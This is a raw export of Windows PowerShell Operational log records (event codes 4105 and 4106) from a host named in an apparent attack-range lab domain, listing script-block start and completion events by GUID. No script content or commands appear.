09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033203
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033202
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033201
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033200
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033199
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033198
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033197
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033196
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033195
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033194
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033192
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033191
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033190
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033189
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033188
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033187
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033186
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033185
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033184
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033182
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033181
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033180
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033179
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033178
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033176
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033175
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033174
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033173
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033172
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033170
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033169
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033168
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033167
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033166
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033165
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033164
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033163
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033162
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033161
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033160
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033159
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033158
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033156
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033155
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033154
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033153
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033152
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033151
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
